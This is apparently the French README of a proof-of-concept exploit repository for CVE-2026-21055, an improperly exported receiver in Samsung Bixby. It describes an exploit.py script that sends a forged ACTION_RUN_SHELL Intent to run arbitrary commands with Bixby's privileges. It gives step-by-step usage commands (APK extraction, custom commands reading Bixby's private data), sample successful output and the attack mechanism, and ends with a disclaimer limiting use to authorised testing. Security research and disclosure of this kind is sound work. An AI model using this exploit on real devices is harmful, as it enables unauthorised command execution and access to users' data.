
Exploit de preuve de concept pour CVE-2026-21055 démontrant l'exécution arbitraire de commandes via des composants Android mal exportés dans Samsung Bixby. Inclut l'analyse des composants et des scripts d'attaque basés sur Intent.
Preuve de concept pour CVE-2026-21055 : L'exportation inappropriée de composants d'application Android dans Samsung Bixby avant la version 4.0.70.8 permet à des attaquants locaux d'exécuter des commandes arbitraires avec les privilèges de Bixby.
Ce dépôt contient deux scripts Python :
analyze_components.py — Analyse un AndroidManifest.xml décompilé pour lister les activités, services, receivers et providers exportés. Signale les composants exportés sans garde de permission.
exploit.py — Démontre l'attaque basée sur un Intent en envoyant un Intent broadcast forgé au receiver de commande exporté de Bixby via adb shell am, exécutant une commande avec les privilèges système de Bixby.
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-21055 |
| Samsung SVE | SVE-2026-0917 |
| CVSS v4.0 | 8.5 — Élevé |
| CWE | CWE-926 — Exportation inappropriée de composants d'application Android |
| Application concernée | Samsung Bixby (com.samsung.android.bixby.agent) |
| Versions concernées | < 4.0.70.8 |
| Version corrigée | 4.0.70.8 |
| Vecteur d'attaque | Local (application malveillante sur le même appareil) |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Impact | Exécution de commandes arbitraires avec les privilèges de Bixby |
Tirez l'APK Bixby de l'appareil et décompilez-le :
# Trouvez le chemin de l'APK Bixby
$ adb shell pm path com.samsung.android.bixby.agent
# Tirez l'APK
$ adb pull <apk_path> bixby.apk
# Décompilez avec apktool
$ apktool d bixby.apk -o bixby_decompiled -f
Exécutez le script d'analyse :
$ python3 analyze_components.py --manifest bixby_decompiled/AndroidManifest.xml
Ou laissez le script décompiler automatiquement :
$ python3 analyze_components.py --apk bixby.apk
$ python3 exploit.py --list
# Par défaut : exécute la commande 'id'
$ python3 exploit.py
# Commande personnalisée
$ python3 exploit.py --command "ls /data/data/com.samsung.android.bixby.agent/"
# Spécifier un composant personnalisé (si la détection automatique échoue)
$ python3 exploit.py --component com.samsung.android.bixby.agent/.receiver.CommandReceiver
============================================================
CVE-2026-21055 PoC — Samsung Bixby Command Execution
Improper Export of Android Application Components
============================================================
[*] Target package: com.samsung.android.bixby.agent
[*] Bixby version: 4.0.69.2
[*] Vulnerable: YES (< 4.0.70.8)
[*] Bixby UID on this device: 10xxx
[*] Executing exploit...
[*] Crafting exploit Intent...
Component: com.samsung.android.bixby.agent/.receiver.CommandReceiver
Action: com.samsung.android.bixby.agent.ACTION_RUN_SHELL
Command: id
Output: /data/local/tmp/bixby_poc_output
[+] Intent sent.
[+] Command output (executed with Bixby privilege):
uid=10xxx(u0_aXXX) gid=10xxx(u0_aXXX) groups=10xxx(u0_aXXX),3003(inet),9997(everybody)
[+] EXPLOIT SUCCESSFUL — command executed with Bixby privilege
[+] Verify the output UID matches Bixby's UID: 10xxx
Exportation de composants : Bixby exporte un ou plusieurs composants (services/receivers) qui gèrent l'exécution de commandes ou les déclencheurs d'automatisation. Ces composants sont exportés avec android:exported="true" mais sans attribut android:permission ni vérifications de permissions à l'exécution.
Distribution de l'Intent : Toute application sur l'appareil peut envoyer un Intent à ces composants exportés. L'Intent porte une chaîne d'action (p. ex., ACTION_RUN_SHELL) et des extras chaîne contenant la commande à exécuter et un chemin de fichier de sortie.
Exécution de la commande : Le composant exporté de Bixby reçoit l'Intent, extrait la commande et l'exécute via Runtime.exec() ou un mécanisme similaire. La commande s'exécute dans le contexte du processus de Bixby, héritant de toutes ses permissions système.
Aucune interaction utilisateur : L'exploit ne nécessite aucune interaction utilisateur. L'application malveillante envoie l'Intent silencieusement en arrière-plan.
Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité uniquement. Testez uniquement sur des appareils que vous possédez ou pour lesquels vous avez une autorisation explicite. N'utilisez pas cet exploit contre des appareils sans le consentement du propriétaire.